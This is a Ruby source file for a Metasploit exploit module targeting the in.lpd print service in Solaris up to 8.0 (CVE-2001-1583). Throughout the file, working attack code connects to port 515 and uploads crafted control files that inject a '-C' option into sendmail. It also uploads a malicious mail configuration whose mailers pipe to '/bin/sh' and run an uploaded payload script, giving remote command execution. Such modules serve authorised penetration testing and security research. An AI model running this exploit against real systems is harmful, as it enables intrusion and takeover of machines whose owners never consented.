metasploit-framework/modules/exploits/solaris/lpd/sendmail_exec.rb

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris LPD Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution flaw in
the in.lpd service shipped with all versions of Sun Solaris
up to and including 8.0. This module uses a technique
discovered by Dino Dai Zovi to exploit the flaw without
needing to know the resolved name of the attacking system.
},
'Author' => [ 'hdm', 'ddz' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2001-1583'],
[ 'OSVDB', '15131'],
[ 'BID', '3274'],
],
'Platform' => %w{ solaris unix },
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'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 8192,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DisclosureDate' => 'Aug 31 2001',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(515)
], self.class)
end
def exploit
# This is the temporary path created in the spool directory
spath = "/var/spool/print"
# The job ID is squashed down to three decimal digits
jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]
# The control file
control =
"H"+"metasploit\n"+
"P"+"\\\"-C"+spath+"/"+jid+"mail.cf\\\" nobody\n"+
"f"+"dfA"+jid+"config\n"+
"f"+"dfA"+jid+"script\n"
# The mail configuration file
mailcf =
"V8\n"+
"\n"+
"Ou0\n"+
"Og0\n"+
"OL0\n"+
"Oeq\n"+
"OQX/tmp\n"+
"\n"+
"FX|/bin/sh #{spath}/#{jid}script\n"+
"\n"+
"S3\n"+
"S0\n"+
"R\+ #local \\@blah :blah\n"+
"S1\n"+
"S2\n"+
"S4\n"+
"S5\n"+
"\n"+
"Mlocal P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"+
"Mprog P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"
# Establish the first connection to the server
sock1 = connect(false)
# Request a cascaded job
sock1.put("\x02metasploit:framework\n")
res = sock1.get_once
if (not res)
print_status("The target did not accept our job request command")
return
end
print_status("Configuring the spool directory...")
if !(
send_file(sock1, 2, "cfA" + jid + "metasploit", control) and
send_file(sock1, 3, jid + "mail.cf", mailcf) and
send_file(sock1, 3, jid + "script", payload.encoded)
)
sock1.close
return
end
# Establish the second connection to the server
sock2 = connect(false)
# Request another cascaded job
sock2.put("\x02localhost:metasploit\n")
res = sock2.get_once
if (not res)
print_status("The target did not accept our second job request command")
return
end
print_status("Attempting to trigger the vulnerable call to the mail program...")
if !(
send_file(sock2, 2, "cfA" + jid + "metasploit", control) and
send_file(sock2, 3, "dfa" + jid + "config", mailcf)
)
sock1.close
sock2.close
return
end
sock1.close
sock2.close
print_status("Waiting up to 60 seconds for the payload to execute...")
select(nil,nil,nil,60)
handler
end
def send_file(s, type, name, data='')
s.put(type.chr + data.length.to_s + " " + name + "\n")
res = s.get_once(1)
if !(res and res[0,1] == "\x00")
print_status("The target did not accept our control file command (#{name})")
return
end
s.put(data)
s.put("\x00")
res = s.get_once(1)
if !(res and res[0,1] == "\x00")
print_status("The target did not accept our control file data (#{name})")
return
end
print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length))
return true
end
end